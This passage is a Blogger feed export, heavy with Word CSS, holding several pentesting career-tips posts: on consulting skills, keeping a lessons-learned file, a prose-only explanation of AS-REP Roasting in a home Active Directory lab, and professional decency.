	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}ol
	{margin-bottom:0in;}ul
	{margin-bottom:0in;}&lt;/style&gt; It&#39;s time to say exactly where things stand in infosec and they&#39;re not like they want people to believe. This deception will lead us nowhere and hurt both security actors and their clients, so we&#39;re in for a lot of pain.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Are you ready? &lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;style&gt;@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}ol
	{margin-bottom:0in;}ul
	{margin-bottom:0in;}&lt;/style&gt;&lt;span style=&quot;font-family: arial;&quot;&gt; &lt;/span&gt;&lt;style&gt;@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}&lt;/style&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2024/08/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-2390160175471188042</guid><pubDate>Sun, 17 Mar 2024 22:00:00 +0000</pubDate><atom:updated>2024-03-18T13:05:24.778-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking</category><category domain="http://www.blogger.com/atom/ns#">#pentesting</category><title>Tips for an Information Security Analyst/Pentester Career - Ep. 97 - To Be a Better Consultant, Learn from Your Mistakes</title><description>&lt;p&gt;&lt;i&gt;&lt;b&gt;&amp;nbsp;Intro&lt;/b&gt;&lt;/i&gt; &lt;br /&gt;&lt;/p&gt;&lt;p&gt;Hello, my readers, I know I haven&#39;t been very active lately, though I&#39;ve been wanting to push technical content for a while.&lt;/p&gt;&lt;p&gt;I intend to come up with a post or a series showing the anatomy of an AD engagement, demoing how I&#39;d go from zero to (hopefully) domain administrator. I&#39;m working a crazy schedule and at the end of the day I feel depleted of any energy, especially over weekends, however I want to do this. One important thing I learned is AD engagements are totally random, meaning you can sometimes easily enumerate users, find misconfigurations and enumerate the hell out of that domain. Other times, instead, there&#39;s not a lot to go around and I wasn&#39;t even able to find a valid password.&amp;nbsp; So, my idea is to demo attacks against a domain without knowing in advance what I&#39;m gonna find. Hopefully, I&#39;ll be able to set aside some time to configure a local domain in my infrastructure.&amp;nbsp;&lt;/p&gt;&lt;p&gt;I&#39;m also struggling with studying CRTO and, by the way, if you guys know about a study group for it, please let me know.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;The Core Idea &lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;But enough digressing.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Lately, I&#39;ve been inspired by a &lt;a href=&quot;https://www.linkedin.com/in/tim-connell-39b00529/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Tim Connel&lt;/a&gt;&#39;s series of posts titled &quot;Do you want to be a great pentester?&quot; and came up with some ideas of mine. I like the guy and his contents and I mostly agree with his views, but I&#39;d beg to differ on a couple of points.&lt;/p&gt;&lt;p&gt;This post doesn&#39;t want to be an attack or a harsh criticism of Tim&#39;s contents.&amp;nbsp;Man, I admire you and what you do, I only want to offer a different 
point of view and an additional contribution, open a conversation, if 
you want. I write this stuff out of passion, I never gained one cent out of it, plus I consider myself a perfect nobody.&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;b&gt;My View &lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;I thought of providing a personal contribution about how one can up their game and get better with their craft.&lt;/p&gt;&lt;p&gt;The way I see it, rather than being a great pentester, one should want to &lt;i&gt;become a better consultant.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;It&#39;s not only a semantic distinction. A security professional can really make a difference only when they can have a dialogue with clients, educating them on the business impact of specific vulnerabilities and on the associated remediation strategies. Clients need to see a security professional as a trusted partner they can count on, not like an enemy shaming their blunders. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;Now, pentesters aren&#39;t always client-facing. With my prior company, I wasn&#39;t.&amp;nbsp;&lt;/p&gt;&lt;p&gt;I participated in client kickoff and debrief calls but all the communications with the client were managed by my boss, so while I grew a lot in terms of technical background, this ended up holding me back, and I wasn&#39;t even realizing how much so until I moved to Optiv.&lt;/p&gt;&lt;p&gt;Now, as far as the client is concerned, I &lt;i&gt;am&lt;/i&gt; Optiv, so I need to be impeccable and behave as a subject matter experts, even when sometimes I&#39;m not 100% sure. I&#39;m in charge of the project from start to finish. If a problem arises with the client or technical issues cause hold ups, I&#39;m the one who needs to troubleshoot it with the client, and do it in a professional and personable way. This can pose a challenge when the client&#39;s unresponsive and time&#39;s ticking off.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;As a result, I&#39;ve accomplished way more over my tenure at Optiv so far than what I had done during the previous four years with the other company.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;A consultant is called to develop a culture of service and to strike a delicate balance between keeping clients happy and drawing a line when their demands are too unreasonable. Consultants need to know when a battle is worth fighting and when it&#39;s not.&lt;/p&gt;&lt;p&gt;Beyond the different formal job descriptions between different companies, I personally believe that, if we look at the contents of a specific role, a consultant is next level compared to a simple technical tester.&amp;nbsp;&lt;/p&gt;&lt;p&gt;One can be a technically amazing tester but they don&#39;t make a real difference if they can&#39;t communicate with the client and explain their findings. Clients will feel frustrated, won&#39;t understand the impact of the vulnerabilities found, so they won&#39;t remediate them and will rightfully think all pentesting companies are snake oil sellers. Plus, these pentests are all but cheap, guys, so you want to make sure clients have value from what they paid for. 
  &lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/iWuCW6PrXSY?si=kcaGM902SxJx8DSU&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&amp;nbsp; &lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExemN4bTl5aXc0eHA5bW5wejA4N3UyY3NwNnQ2M3FzZW5hMDhlNWc3YSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/7IWtC0idrXURnCUIyD/giphy.gif&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;480&quot; data-original-width=&quot;352&quot; height=&quot;480&quot; src=&quot;https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExemN4bTl5aXc0eHA5bW5wejA4N3UyY3NwNnQ2M3FzZW5hMDhlNWc3YSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/7IWtC0idrXURnCUIyD/giphy.gif&quot; width=&quot;352&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;i&gt;&lt;b&gt;My Contribution: How To Learn from Your Mistakes&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Penetration testing, and especially consulting, is learned by doing.&amp;nbsp;&lt;/p&gt;&lt;p&gt;The only way to learn is to make mistakes. There&#39;s a value in making mistakes, but only if one learns from them and does not repeat them in the future.&lt;/p&gt;&lt;p&gt;For this reason, I&#39;ve been keeping a file with lessons learned over the years, so I can refer back to them and avoid finding myself in unpleasant and/or problematic situations I incurred in the past. Of course I never include clients names or any references to specific projects I worked, I&#39;m not that stupid. An example entry is shown below.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAo8kEgyVRJKg7loLwUV_Ub-B8DY4WjpeF1BEHbS-muG0YN4SuZBvsEugCVqXp1hQGT8MSPDQySrxPHrXnhLhxki8q15GAviGQT0CFRgA4DvPKfmFCRUYZPKmXpXr1cbD8VQFcBLjAkJsjowelyrrSL_kBjex1ydk1T7nK2R8-r4L88ZruxPtGRGnBtiOV/s4076/Monosnap%20PENTESTING%20CHEAT%20SHEET%202024-03-17%2013-11-16.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1838&quot; data-original-width=&quot;4076&quot; height=&quot;288&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAo8kEgyVRJKg7loLwUV_Ub-B8DY4WjpeF1BEHbS-muG0YN4SuZBvsEugCVqXp1hQGT8MSPDQySrxPHrXnhLhxki8q15GAviGQT0CFRgA4DvPKfmFCRUYZPKmXpXr1cbD8VQFcBLjAkJsjowelyrrSL_kBjex1ydk1T7nK2R8-r4L88ZruxPtGRGnBtiOV/w640-h288/Monosnap%20PENTESTING%20CHEAT%20SHEET%202024-03-17%2013-11-16.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;One tends to forget what happened over a specific engagement years ago, so one could have to face an alike situation repeating the same mistakes. Well, unless one can have a look at the solution adopted previously.&lt;/p&gt;&lt;p&gt;I also take note of how I troubleshot specific error messages, so I don&#39;t have to waste hours on a frenetic Google Search, or ask someone the same questions over and over again. This gets people mad, so the more it can be avoided the better.&lt;/p&gt;&lt;p&gt;This simple trick saves time and helps me get better at doing my job.&lt;/p&gt;&lt;p&gt;I&#39;m curious to hear about other ideas I haven&#39;t yet thought about.&lt;/p&gt;&lt;p&gt;Feel free to contribute, if you&#39;d like.&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2024/03/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/iWuCW6PrXSY/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-6372667714367298542</guid><pubDate>Mon, 11 Dec 2023 23:34:00 +0000</pubDate><atom:updated>2024-03-10T15:28:28.710-04:00</atom:updated><title>Tips for an Information Security Analyst/Pentester Career - Ep. 96 - AD foothold attacks: AS-REP-ROAST </title><description>&lt;p&gt;My long series of posts has so far mostly focused on perimeter engagements, for obvious reasons.&lt;/p&gt;&lt;p&gt;One normally starts learning with them, as no elaborate configurations are required to access the in-scope hosts. Nmap and a browser are mostly enough to get started.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;So far I left Active Directory topics out because they&#39;re much harder to demo, as they require a domain including machines vulnerable to specific attacks. &lt;/p&gt;&lt;p&gt;There&#39;s a lot of paid solutions available to solve this dilemma but not a lot of free ones. I don&#39;t personally like to commit to a service with a subscription when I might not have time to fully enjoy it, so I created a Windows DC in VMware Fusion and a Kali attacking machine having an adapter configured on the same subnet.&lt;/p&gt;&lt;p&gt;We&#39;ll be moving from an assume breach approach, so we&#39;re already in the internal network, but we don&#39;t have valid credentials to the Windows domain.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;To solve this problem, we can run multiple attack scenarios that can give us a foothold within AD. Here we&#39;ll focus on a very common attack technique called &lt;a href=&quot;https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/&quot;&gt;AS-REP Roasting&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://akijosberryblog.files.wordpress.com/2018/01/kerb_auth.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;351&quot; data-original-width=&quot;554&quot; height=&quot;351&quot; src=&quot;https://akijosberryblog.files.wordpress.com/2018/01/kerb_auth.png&quot; width=&quot;554&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;Image source: https://akijosberryblog.files.wordpress.com/2018/01/kerb_auth.png&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;i&gt;Assumptions&lt;/i&gt;&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;We were given access to the internal network and a valid IP for it. This is how internal pentests are normally conducted.&lt;/li&gt;&lt;li&gt;We discovered the DC IP address.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;We discovered multiple valid domain users but not a valid password, so our attack surface is very limited until we can find a valid set of credentials.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The attack scenario is based on a misconfiguration where one or multiple domain accounts are configured to not require Kerberos pre-authentication.&lt;/p&gt;&lt;p&gt;&lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/lv3C8z8NdKI?si=zL-o6M2-VLP1kVon&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;The Kerberos authentication process starts when a user sends an Authentication Server 
Request (AS-REQ) message to the domain controller (DC) to access a resource. The timestamp on
 that message is encrypted with the hash of the user’s password. If the 
DC can decrypt that timestamp using its own record of the user’s 
password hash, it will send back an Authentication Server Response 
(AS-REP) message that contains a Ticket Granting Ticket (TGT) issued by 
the Key Distribution Center (KDC), which is used for future access 
requests by the user.&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt; If pre-authentication is disabled, an attacker could request 
authentication data for any user and the DC would return an AS-REP 
message. Since part of that message is encrypted using the user’s 
password, the attacker can then attempt to brute-force the user’s 
password offline.&lt;/p&gt;&lt;p&gt;This attack can often provide a foothold to AD, if any accounts exist that are specifically configured with pre-authentication disabled and weak passwords.&lt;/p&gt;&lt;p&gt;Check the embedded video for more details.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2023/12/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/lv3C8z8NdKI/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-4788155917869379970</guid><pubDate>Sat, 09 Sep 2023 16:58:00 +0000</pubDate><atom:updated>2024-02-24T10:38:04.344-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking</category><category domain="http://www.blogger.com/atom/ns#">#pentesting</category><title>Tips for an Information Security Analyst/Pentester Career - Ep. 95  - BADHB - A Little-known Secret For Success in Info Sec</title><description>&lt;p&gt;


















&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;Do you want to know a simple but little-known secret to be
successful in info sec and offensive security?&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
The secret is to &lt;b&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;BADHB: Be A Decent Human Being&lt;/span&gt;&lt;/b&gt; (in other words, don&#39;t be a
jerk).&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
Most people think success in this industry is only a matter of technical
skills, and you do need them to get hired.&lt;br /&gt;
&lt;br /&gt;
Once you get the job, though, it&#39;s all a matter of soft skills and of knowing
how to relate to other people the right way.&lt;/p&gt;





&lt;p&gt;&lt;style&gt;@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}&lt;/style&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://media0.giphy.com/media/yKh5nWkbVlgpG/200w.webp?cid=ecf05e472v5r86bdck98k2hubltpwscq4a6xlfnv8ege31ef&amp;amp;ep=v1_gifs_search&amp;amp;rid=200w.webp&amp;amp;ct=g&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;112&quot; data-original-width=&quot;200&quot; height=&quot;179&quot; src=&quot;https://media0.giphy.com/media/yKh5nWkbVlgpG/200w.webp?cid=ecf05e472v5r86bdck98k2hubltpwscq4a6xlfnv8ege31ef&amp;amp;ep=v1_gifs_search&amp;amp;rid=200w.webp&amp;amp;ct=g&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;BLOG_video_class&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/hqsahw10bLw&quot; width=&quot;320&quot; youtube-src-id=&quot;hqsahw10bLw&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;


















